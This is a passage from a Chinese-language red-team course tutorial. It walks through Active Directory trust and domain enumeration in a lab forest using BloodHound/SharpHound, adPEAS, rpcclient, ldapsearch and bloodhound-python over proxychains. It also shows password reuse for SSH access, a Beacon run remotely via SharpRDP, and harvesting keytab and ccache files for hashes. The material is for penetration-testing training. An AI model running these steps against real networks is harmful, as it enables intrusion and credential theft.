[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/igpm4ikWkX6lx3us-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/igpm4ikWkX6lx3us-image.png)

###   
**入口信任**

raven-medicine 域的信任之中，有来自 med-factory.local 的入口信任，即 raven-med.local 的主题可以访问 med-factory.local 的资源。我们还需要知道信任之间是否建立了选择性信任，即森林中只有特定主体可以对对方域进行认证。该实验中并没有配置该项。

### [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/hmoOt4lnuhTUzoPy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/hmoOt4lnuhTUzoPy-image.png)

###   
**出口信任**

当前森林信任 med-deal.local 域，即 med-deal.local 可以对当前域认证并访问资源。我们并不能枚举对面森林，因此我们需要借助别的技巧和途径。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/igpm4ikWkX6lx3us-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/igpm4ikWkX6lx3us-image.png)

综上，对于双向信任以及出口信任，我们可以使用例如 PowerView、SharpHound、adPEAS 等域内信息枚举工具对可访问资源的域进行跨域枚举。

# 使用 SharpHound 枚举

在本章的之前几篇，BloodHound 多次被提及到。Bloodhound ([https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)) 是一款利用图论揭示 **Active Directory** 或 **Azure** 环境中隐藏的、非预期关系的工具。我们可以使用它快速轻松地枚举域对象并找到攻击路径。

### **配置 BloodHound**

要设置 Bloodhound，我们需要配置多个组件：**Neo4j 数据库**，**Sharphound 数据搜集器** 和 **Bloodhound**。虽然可以在 Linux 上设置 Bloodhound，但我们将在 Windows 10 虚拟机上进行设置。

首先，安装 Java ([https://www.java.com/en/download/](https://www.java.com/en/download/%EF%BC%89%EF%BC%8C%E5%9B%A0%E4%B8%BA))，因为Neo4j 依赖于 Java。在 Java 的最近版本中，安装会自动为我们配置环境变量。然后，安装 Neo4j 社区服务器 ([https://neo4j.com/download-center/\\#community](https://neo4j.com/download-center/%5C#community%EF%BC%89%E3%80%82))。

解压下载的文件，并通过执行命令：**neo4j.bat console** 来启动 Neo4j。

建议从提升特权的命令行终端中运行，如果一切正常，我们会看到与下面的截图类似的内容：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/KPIuClxLyuIYqVyo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/KPIuClxLyuIYqVyo-image.png)

然后访问 http://127,.0.0.1:7474 以连接 neo4j 数据库的面板。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/2usEqCvEEdpBxBBS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/2usEqCvEEdpBxBBS-image.png)

 默认凭证是 neo4j:neo4j，第一次登陆后会要求修改密码。然后，我们可以从 [https://github.com/BloodHoundAD/BloodHound/releases ](https://github.com/BloodHoundAD/BloodHound/releases)下载最新的 BloodHound 了。

解压并运行 BloodHound，输入修改后的凭证并登陆

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/30PqP1BsKqmT23Wc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/30PqP1BsKqmT23Wc-image.png)

### **使用 SharpHound 搜集数据**

目前，BloodHound 中是空的，因为我们没有上传任何数据，这就需要我们用 SharpHoun 搜集器来搜集域信息了。我们可以从 [https://github.com/BloodHoundAD/SharpHound](https://github.com/BloodHoundAD/SharpHound) 处下载最新的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/s6ilfqmqXMQPqCZe-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/s6ilfqmqXMQPqCZe-image.png)

对于装有旧版本 BloodHound 与 SharpHound 的同学来说，最好同步使用最新版本的，因为这两个工具版本要匹配，不然会有数据文件兼容性问题。下载的 SharpHound 也包含了 PowerShell 版的 SharpHound 了。

SharpHound 支持多个参数，包括搜集方法、请求频率、搜集范围等。灵活指定这些选项的值可以提升 OPSEC，毕竟 SharpHound 默认情况下会在短时间内发送较多 LDAP 请求给域控。哲理的话，我们使用了命令 **sharphound.exe -c All --throttle 1500 --jittle 10** 来运行 sharphound 搜集器，并成功获得了输出文件。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/RVr2zMP2D9kvTOPM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/RVr2zMP2D9kvTOPM-image.png)

重复命令，但是指定域为 PROD 以及 RAVEN-MED。最终将得到的输出文件一起打包下载，传送到 BloodHound 所在的数据，并上传文件。我们也可以使用 PowerShell 版的搜集器搜集数据。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/ao5xpaVp3lrexQXN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/ao5xpaVp3lrexQXN-image.png)

上传之后，重启 BloodHound，然后就能看见搜集的数据了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/TtCkA5IviSOAk40H-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/TtCkA5IviSOAk40H-image.png)

我们可以以图形化方式简单直接地查看主体之间的关系

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Mzrej7H7Bs9azFjk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Mzrej7H7Bs9azFjk-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/CJrJga2RrBQE2DCT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/CJrJga2RrBQE2DCT-image.png)

我们还可以把已经沦陷的域主题标注出来，从而让 BloodHound 自动帮我们计算接下来的攻击路径。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/5nfBTo0gOWOgigx5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/5nfBTo0gOWOgigx5-image.png)

根据图示，我们是可以从在拿下用户 serveradm 后轻易接管当前域的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/kkYWQ8SFf22nNR3t-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/kkYWQ8SFf22nNR3t-image.png)

BloodHound 内置了一些好用的查询语句，例如帮助我们发现了用户 **prod\\back\_operator** 具有在 PROD 域内的 DCSync 特权。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/jKyPeVUtPd7xVwcO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/jKyPeVUtPd7xVwcO-image.png)

我们还可以用原始查询来自定义查询语句，例如筛选所有具有 SPN 用户的语句为

```neo4j
MATCH (u: User {hasspn:true}) RETURN u
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/7VBnNrH5VOSpE0sn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/7VBnNrH5VOSpE0sn-image.png)

除了 BloodHound之外，adPEAS ([https://github.com/61106960/adPEAS](https://github.com/61106960/adPEAS)) 也是很优秀的工具。adPEAS 的用法很简单，导入脚本后执行命令 **Invoke-adPEAS** 即可，可以指定其他可访问的域。adPEAS 默认会发出大量请求，是 OPSEC 不安全的，因此我们需要指定一些选项。在大量输出中，adPEAS 会高亮一些潜在的配置漏洞，以及自动帮我们获取一些帐号的 Kerberos 哈希。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Nk1v2iNmpuxaWOw6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Nk1v2iNmpuxaWOw6-image.png)

# 在 Linux 上的信息搜集

在 Linux 上的信息搜集，这里有两层含义，一是指在Linux域主机上对所在域进行侦查，另一层是指使用 Kali Linux 或其他 Linux 攻击主机对目标域进行侦查。

### **第二个 Beacon**

目前，我们只有一个来自 Web02 的 Beacon，以及 Web01 的 root 权限 Shell，还没有其他 PROD 域中用户的明文凭证。回想 chatjs 应用中出现的用户，我们发现他们都是域用户。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/J4xn7jtCRvroVT5p-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/J4xn7jtCRvroVT5p-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Z3AaydY9ZaFYGiYt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Z3AaydY9ZaFYGiYt-image.png)

那么就可能存在密码重用，尤其是我们已经破解出 Alice 的密码为 elizabeth (无法还原出其他用户的密码)。再加上默认情况下，所有域用户都可以访问 SSH，那么我们不妨尝试使用 **alice:elizabeth** 登陆 Web01 的 SSH 服务。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/KVq3dJV5ZUFUlRGk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/KVq3dJV5ZUFUlRGk-image.png)

我们成功登陆了 Web01。并且，我们通过 Chatjs 的利用获得了 root 权限，我们可以灵活地在 alice 与 root 用户之间切换。

查看 Alice 的描述，我们发现她可能具有对 File01 RDP 的访问。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/VJR6QjN2UKcexsV7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/VJR6QjN2UKcexsV7-image.png)

我们知道 file01 有个公开可读可写的 SMB 目录 **Tools**，我们猜测其绝对路径为 **C:\\Tools** (使用 **UNC 路径**执行程序可能会被阻止)。上传一个 Beacon，然后使用 **SharpRDP** ([https://github.com/0xthirteen/SharpRDP](https://github.com/0xthirteen/SharpRDP)) 在不开启 GUI 的情况下通过 **RDP** 协议远程执行该 Beacon。

```powershell
sharprdp.exe computername=[FQDN] command="[程序绝对路径]" username=[域NetBIOS\用户名] password=[密码]
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-12/scaled-1680-/vvxVaOPfs3a2l3tL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-12/vvxVaOPfs3a2l3tL-image.png)

幸运的是，我们猜对了绝对路径，并且获得了新的 Beacon，来自 File01，当前用户为 **PROD\\Alice**。这样，我们有了在 PROD 域的第一个 Beacon。

<div class="ZyvIDe" id="bkmrk--4" jsname="kDm4dd"><div class="ZyvIDe" jsname="kDm4dd"><div class="a8FIud X0rvP L6rCcb" data-apply-responsive-style="true" data-classes="" data-initial-translation-length="1318" data-saved-translation-limit-reached="false" jsaction="click:hcujVc,xAFyGb;JIbuQc:VIRg6(NakZHc),OXRwre(UsVyAb);QZDRD:aGeOie;DUcLEe:qaj0Me;" jscontroller="JVNQkc" jsname="DgLQX"><div data-anchor-corner="bottom-end" data-append-to-body="false" data-enable-skip-handler="false" data-popup-corner="top-end" data-propagate-tooltip-mouseover-events="true" data-show-delay-ms="250" jsaction="mouseover: kptBG(Fs81Kd); mouseout: o9UdU(Fs81Kd),o9UdU(V6DMGe);" jscontroller="HwavCb" jsshadow=""><div jsname="Fs81Kd"><div class="VfPpkd-Bz112c-RLmnJb">  
</div><div class="VfPpkd-Bz112c-RLmnJb">  
</div></div></div></div></div></div>### **Linux域主机**

<div class="ZyvIDe" id="bkmrk-%E5%9C%A8linux%E5%9F%9F%E4%B8%BB%E6%9C%BA%E4%B8%8A" jsname="kDm4dd"><div class="a8FIud X0rvP L6rCcb" data-apply-responsive-style="true" data-classes="" data-initial-translation-length="1318" data-saved-translation-limit-reached="false" jsaction="click:hcujVc,xAFyGb;JIbuQc:VIRg6(NakZHc),OXRwre(UsVyAb);QZDRD:aGeOie;DUcLEe:qaj0Me;" jscontroller="JVNQkc" jsname="DgLQX"><div data-anchor-corner="bottom-end" data-append-to-body="false" data-enable-skip-handler="false" data-popup-corner="top-end" data-propagate-tooltip-mouseover-events="true" data-show-delay-ms="250" jsaction="mouseover: kptBG(Fs81Kd); mouseout: o9UdU(Fs81Kd),o9UdU(V6DMGe);" jscontroller="HwavCb" jsshadow=""><div jsname="Fs81Kd"><div class="VfPpkd-Bz112c-RLmnJb">  
</div></div></div></div></div><div aria-live="polite" class="dePhmb" id="bkmrk-%E6%9C%89%E6%97%B6%EF%BC%8C%E9%9D%A2%E5%90%91%E5%85%AC%E4%BC%97%E7%9A%84%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%98%AF-linux-%E6%93%8D" jsaction="copy:zVnXqd,r8sht;" jsname="r5xl4"><div class="eyKpYb" data-language="zh-CN" data-original-language="en" data-result-index="0" jsaction="rcuQ6b:uniPq;agoMJf:uniPq;PAwimb:fO5Jj;YMDPBc:IPcVpf;zimBkd:psubsc,xEIEwf,vvaHqf,Mw7EEb,bfSYBe,xdbiQe,Omr8vc,aVxZJe;cJuFmb:inBH1e;ZpeCNe:B59DSc;bA9BVe:NTHvjd,G7JiR;d3Xgce:uniPq;yZ6OX:TWxCtb;EKmdBc:g1rTCe; dblclick:wgdrZd" jscontroller="UmyLh" jsdata="Rd7LAc;_;$90" jsmodel="d6pv6c"><div class="J0lOec"><span class="VIiyi" lang="zh-CN"><span class="JLqJ4b" data-language-for-alternatives="zh-CN" data-language-to-translate-into="en" data-number-of-phrases="1" data-phrase-index="0"><span class="Q4iAWc">有时，面向公众的服务器是 Linux 操作系统，例如 Web 服务器。在利用 Web 应用的漏洞后，我们成功地以普通用户或 root 的身份访问该 Linux 服务器。如果作为普通用户身份，甚至不是域用户，而是 **www-data** 等服务账户，这时候我们既不知道任意域用户的明文凭证，也无法访问所有文件，因此我们最好的策略是想办法提升到 root 权限，但不排除服务器有一些文件权限的不当配置，使得普通用户也能读取甚至更改一些敏感文件。如果作为root用户，我们可以访问所有的文件了，但依旧没有任何用户的明文密码。在之前的章节里说了，我们需要关注用户的 **ccache** 文件，位于**/tmp** 目录下，以及用户与主机的 **keytab** 文件。域主机的keytab文件固定位于**/etc/krb5.keytab**，而用户的 keytab 文件不固定，取决于用户习惯。</span></span></span></div></div></div><div class="J0lOec" id="bkmrk--5"></div><div class="J0lOec" id="bkmrk--6"></div><div aria-live="polite" class="dePhmb" id="bkmrk-%E9%80%9A%E5%B8%B8%E6%9D%A5%E8%AE%B2%EF%BC%8C%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E6%8A%8A%E5%8F%91%E7%8E%B0%E7%9A%84%E8%BF%99%E4%BA%9B%E5%87%AD%E8%AF%81%E6%96%87%E4%BB%B6%E8%BD%AC" jsaction="copy:zVnXqd,r8sht;" jsname="r5xl4"><div class="J0lOec">  
</div><div class="eyKpYb" data-language="zh-CN" data-original-language="en" data-result-index="0" jsaction="rcuQ6b:uniPq;agoMJf:uniPq;PAwimb:fO5Jj;YMDPBc:IPcVpf;zimBkd:psubsc,xEIEwf,vvaHqf,Mw7EEb,bfSYBe,xdbiQe,Omr8vc,aVxZJe;cJuFmb:inBH1e;ZpeCNe:B59DSc;bA9BVe:NTHvjd,G7JiR;d3Xgce:uniPq;yZ6OX:TWxCtb;EKmdBc:g1rTCe; dblclick:wgdrZd" jscontroller="UmyLh" jsdata="Rd7LAc;_;$90" jsmodel="d6pv6c"><div class="J0lOec">通常来讲，我们可以通过 SOCKS 代理在攻击主机上远程枚举域信息，但有的加入域的主机会自带一些工具，例如 ldapsearch、pbis-open ([https://github.com/BeyondTrust/pbis-open](https://github.com/BeyondTrust/pbis-open))，以及 rpcclient 等。</div></div></div><div class="J0lOec" id="bkmrk--7"></div>#### **RPCClient**

<div class="J0lOec" id="bkmrk-%E5%9C%A8-web01-%E4%B8%8A%E5%B9%B6%E6%B2%A1%E6%9C%89%E5%86%85%E7%BD%AE-rpccl">在 Web01 上并没有内置 RPCClient，不过很多时候该应用是内置的，那我们透过 SOCKS 来枚举。使用 rpcclient，我们需要指定明文帐号密码，尽管有的时候空会话是允许的。</div><div class="J0lOec" id="bkmrk--8"></div>```shell
rpcclient -U <域 FQDN>/<账户>%<密码> <DC>
```

##### **用户**

我们通过 enumdomusers 命令来查看所有用户

```shell
root@ts:~# proxychains rpcclient -U prod.raven-med.local/alice%elizabeth 172.16.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:445-<><>-OK
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[sql_service] rid:[0x641]
user:[app_security] rid:[0x642]
user:[network_security] rid:[0x643]
user:[alice] rid:[0x645]
user:[harold] rid:[0x646]
user:[backup_operator] rid:[0x647]
user:[john] rid:[0x648]
user:[newman] rid:[0x64b]
user:[jim] rid:[0x64c]
user:[carl] rid:[0x64d]
user:[fusco] rid:[0x64e]

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/PqaF79hfnDfFultx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/PqaF79hfnDfFultx-image.png)

通过命令 **query &lt;RID&gt;** 来查看用户详情

```shell
rpcclient $> queryuser 0x641
        User Name   :   sql_service
        Full Name   :
        Home Drive  :
        Dir Drive   :
        Profile Path:
        Logon Script:
        Description :
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Tue, 28 Mar 2023 03:04:56 UTC
        Logoff Time              :      Thu, 01 Jan 1970 00:00:00 UTC
        Kickoff Time             :      Thu, 01 Jan 1970 00:00:00 UTC
        Password last set Time   :      Sat, 28 Jan 2023 19:35:18 UTC
        Password can change Time :      Sun, 29 Jan 2023 19:35:18 UTC
        Password must change Time:      Thu, 14 Sep 30828 02:48:05 UTC
        unknown_2[0..31]...
        user_rid :      0x641
        group_rid:      0x201
        acb_info :      0x00000210
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x0000000a
        padding1[0..7]...
        logon_hrs[0..21]...

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/qyyWNnFA3kgqoaGZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/qyyWNnFA3kgqoaGZ-image.png)

##### **群组**

<div class="J0lOec" id="bkmrk-%E5%AF%B9%E4%BA%8E%E7%BE%A4%E7%BB%84%EF%BC%8C%E4%B9%9F%E6%98%AF%E7%B1%BB%E4%BC%BC%E7%9A%84%EF%BC%8C%E9%80%9A%E8%BF%87-enumdo">对于群组，也是类似的，通过 enumdomgroups 命令枚举群组</div>[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/NVNCioMnUajM8SCp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/NVNCioMnUajM8SCp-image.png)

<div class="J0lOec" id="bkmrk-%E5%AF%B9%E4%BA%8E%E6%9B%B4%E5%A4%9A%E5%91%BD%E4%BB%A4%EF%BC%8C%E6%9F%A5%E7%9C%8B-help-%E8%8F%9C%E5%8D%95%E5%8D%B3%E5%8F%AF%E3%80%82">对于更多命令，查看 help 菜单即可。</div>[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/mce3hUCeQfej5T4y-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/mce3hUCeQfej5T4y-image.png)

#### **LDAPSearch**

<div class="J0lOec" id="bkmrk-ldapsearch-%E4%B9%9F%E6%98%AF%E8%87%AA%E5%B8%A6%E7%9A%84-lda">ldapsearch 也是自带的 LDAP 交互工具之一，并且 Web01 上就有安装。我们同样需要指定明文帐号密码，除非空会话被允许。</div><div class="J0lOec" id="bkmrk--13"></div>```shell
ldapsearch -h <DC IP> -p 389 -x -b "<站点>" -D '<域\用户>' -w '<密码>'
```

##### **用户**

我们指定了 **objectclass** 为 **user**，并且提取 **samaccountname** 属性：

```shell
web01@web01:~$ ldapsearch -h 172.16.1.11 -p 389 -x -b "dc=prod,dc=raven-med,dc=local" -D 'prod\alice' -w 'elizabeth' '(objectclass=user)' samaccountname
# extended LDIF
#
# LDAPv3
# base <dc=prod,dc=raven-med,dc=local> with scope subtree
# filter: (objectclass=user)
# requesting: samaccountname 
#

# Administrator, Users, prod.raven-med.local
dn: CN=Administrator,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: Administrator

# Guest, Users, prod.raven-med.local
dn: CN=Guest,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: Guest

# DC01, Domain Controllers, prod.raven-med.local
dn: CN=DC01,OU=Domain Controllers,DC=prod,DC=raven-med,DC=local
sAMAccountName: DC01$

# krbtgt, Users, prod.raven-med.local
dn: CN=krbtgt,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: krbtgt

# RAVEN-MED$, Users, prod.raven-med.local
dn: CN=RAVEN-MED$,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: RAVEN-MED$

# FILE01, File Server, Assets, prod.raven-med.local
dn: CN=FILE01,OU=File Server,OU=Assets,DC=prod,DC=raven-med,DC=local
sAMAccountName: FILE01$

# SRV01, SQL Server, Assets, prod.raven-med.local
dn: CN=SRV01,OU=SQL Server,OU=Assets,DC=prod,DC=raven-med,DC=local
sAMAccountName: SRV01$

# WEB01, Web Server, Assets, prod.raven-med.local
dn: CN=WEB01,OU=Web Server,OU=Assets,DC=prod,DC=raven-med,DC=local
sAMAccountName: WEB01$

# sql_service, Users, prod.raven-med.local
dn: CN=sql_service,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: sql_service

# app_security, Users, prod.raven-med.local
dn: CN=app_security,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: app_security

# network_security, Users, prod.raven-med.local
dn: CN=network_security,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: network_security

# alice, Users, prod.raven-med.local
dn: CN=alice,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: alice

# harold, Users, prod.raven-med.local
dn: CN=harold,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: harold

# backup_operator, Users, prod.raven-med.local
dn: CN=backup_operator,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: backup_operator

# john, Users, prod.raven-med.local
dn: CN=john,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: john

# newman, Users, prod.raven-med.local
dn: CN=newman,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: newman

# jim, Users, prod.raven-med.local
dn: CN=jim,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: jim

# carl, Users, prod.raven-med.local
dn: CN=carl,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: carl

# fusco, Users, prod.raven-med.local
dn: CN=fusco,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: fusco

# search reference
ref: ldap://DomainDnsZones.prod.raven-med.local/DC=DomainDnsZones,DC=prod,DC=r
 aven-med,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 21
# numEntries: 19
# numReferences: 1
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/kn4zlwPV2VEm9boQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/kn4zlwPV2VEm9boQ-image.png)

##### **主机**

我们指定了 **objectclass** 为 **computer**，并且提取 **dnshostname** 属性：

```shell
web01@web01:~$ ldapsearch -h 172.16.1.11 -p 389 -x -b "dc=prod,dc=raven-med,dc=local" -D 'prod\alice' -w 'elizabeth' '(objectclass=computer)' dnshostname
# extended LDIF
#
# LDAPv3
# base <dc=prod,dc=raven-med,dc=local> with scope subtree
# filter: (objectclass=computer)
# requesting: dnshostname 
#

# DC01, Domain Controllers, prod.raven-med.local
dn: CN=DC01,OU=Domain Controllers,DC=prod,DC=raven-med,DC=local
dNSHostName: dc01.prod.raven-med.local

# FILE01, File Server, Assets, prod.raven-med.local
dn: CN=FILE01,OU=File Server,OU=Assets,DC=prod,DC=raven-med,DC=local
dNSHostName: file01.prod.raven-med.local

# SRV01, SQL Server, Assets, prod.raven-med.local
dn: CN=SRV01,OU=SQL Server,OU=Assets,DC=prod,DC=raven-med,DC=local
dNSHostName: srv01.prod.raven-med.local

# WEB01, Web Server, Assets, prod.raven-med.local
dn: CN=WEB01,OU=Web Server,OU=Assets,DC=prod,DC=raven-med,DC=local
dNSHostName: web01.prod.raven-med.local

# search reference
ref: ldap://DomainDnsZones.prod.raven-med.local/DC=DomainDnsZones,DC=prod,DC=r
 aven-med,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 6
# numEntries: 4
# numReferences: 1
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/iwEYst4pln6FLapW-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/iwEYst4pln6FLapW-image.png)

<div class="J0lOec" id="bkmrk--16"></div><div aria-live="polite" class="dePhmb" id="bkmrk-linux%E6%94%BB%E5%87%BB%E4%B8%BB%E6%9C%BA" jsaction="copy:zVnXqd,r8sht;" jsname="r5xl4"><div class="J0lOec">  
</div><div class="J0lOec">**Linux 攻击主机**</div></div><div class="J0lOec" id="bkmrk--17"></div><div class="J0lOec" id="bkmrk-%E6%8E%A5%E4%B8%8B%E6%9D%A5%EF%BC%8C%E6%88%91%E4%BB%AC%E8%AE%A8%E8%AE%BA%E5%9C%A8-linux-%E6%94%BB%E5%87%BB%E4%B8%BB%E6%9C%BA"><span class="VIiyi" lang="zh-CN"><span class="JLqJ4b" data-language-for-alternatives="zh-CN" data-language-to-translate-into="en" data-number-of-phrases="1" data-phrase-index="0"><span class="Q4iAWc">接下来，我们讨论在 Linux 攻击主机上通过隧道或者代理对目标进行枚举，对于认证，往往也更加灵活，我们可以使用明文凭证之外的认证方式，例如票据、keytab、哈希等。</span></span></span></div><div class="J0lOec" id="bkmrk--18"></div><div class="J0lOec" id="bkmrk-%E6%88%91%E4%BB%AC%E4%B9%8B%E5%89%8D%E5%8F%91%E7%8E%B0%E4%BA%86-john-%E7%9A%84-home-"><span class="VIiyi" lang="zh-CN"><span class="JLqJ4b" data-language-for-alternatives="zh-CN" data-language-to-translate-into="en" data-number-of-phrases="1" data-phrase-index="0"><span class="Q4iAWc">我们之前发现了 john 的 home 目录下存放着 keytab，我们可以使用 **KeyTabExtract** [(https://github.com/sosdave/KeyTabExtract](https://github.com/sosdave/KeyTabExtract)) 脚本从 keytab 文件中提取出 NTLM 哈希或者 AES 密钥值，而该 keytab 有着 **john** 的 **NTLM** 哈希。</span></span></span></div>[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/SUg6krSvmiEhrcJp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/SUg6krSvmiEhrcJp-image.png)

以及 **/etc** 目录下 **Web01$** 的哈希

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/tFkdfQ4OIDUSKXDy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/tFkdfQ4OIDUSKXDy-image.png)

在 /tmp 目录下，还有着 Alice (该小节刚开始的时候登录的) 与 Administrator 的 ccache。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/mhCgpKOb4ksTZThL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/mhCgpKOb4ksTZThL-image.png)

<div class="J0lOec" id="bkmrk--22"></div><div class="J0lOec" id="bkmrk-%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E6%8A%8A%E5%9C%A8linux%E5%9F%9F%E4%B8%BB%E6%9C%BA%E4%B8%8A%E6%90%9C%E9%9B%86%E5%88%B0%E7%9A%84-">  
</div>#### **<span class="VIiyi" lang="zh-CN"><span class="JLqJ4b" data-language-for-alternatives="zh-CN" data-language-to-translate-into="en" data-number-of-phrases="1" data-phrase-index="0"><span class="Q4iAWc">BloodHound Python </span></span></span>**

<div class="J0lOec" id="bkmrk--23"></div><div class="J0lOec" id="bkmrk--24"></div><div class="J0lOec" id="bkmrk-python-%E7%89%88-bloodhound-"><span class="VIiyi" lang="zh-CN"><span class="JLqJ4b" data-language-for-alternatives="zh-CN" data-language-to-translate-into="en" data-number-of-phrases="1" data-phrase-index="0"><span class="Q4iAWc">Python 版 BloodHound 可以在 Linux 主机上运行，需要 impacket 的依赖。我们可以通过 **pip3 install bloodhound** 安装，之后运行 **bloodhound-python** 运行。我们这里使用的是 Alice 的明文帐号密码认证的，我们也可以提供 **john** 或者 **Web01$** 的 NTLM 哈希甚至 ccache (原理在后续章节深入)。</span></span></span></div><div class="J0lOec" id="bkmrk--25"></div>```
proxychains bloodhound-python -c All -u 'alice@prod.raven-med.local' -p elizabeth  -d prod.raven-med.local -ns 172.16.1.11 --dns-tcp --dns-timeout 10
```

<div class="J0lOec" id="bkmrk--ns-%E9%80%89%E9%A1%B9%E6%8C%87%E5%AE%9A%E4%BA%86-dc01-%E4%B8%BA-dns"><span class="VIiyi" lang="zh-CN"><span class="JLqJ4b" data-language-for-alternatives="zh-CN" data-language-to-translate-into="en" data-number-of-phrases="1" data-phrase-index="0"><span class="Q4iAWc">**-ns** 选项指定了 **DC01** 为 **DNS 服务器**，**--dns-tcp** 强制使用 **DNS TCP**，因为 **UDP** 不被 SOCKS 支持。设置 **--dns-timeout** 为 **10**，默认值会因为短时间的通信尝试而直接判定为超时。</span></span></span></div>```shell
root@ts:/opt/framework# proxychains bloodhound-python -c All -u 'alice@prod.raven-med.local' -p elizabeth  -d prod.raven-med.local -ns 172.16.1.11 --dns-tcp --dns-timeout 10
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
INFO: Found AD domain: prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
WARNING: Could not find a global catalog server, assuming the primary DC has this role
If this gives errors, either specify a hostname with -gc or disable gc resolution with --disable-autogc
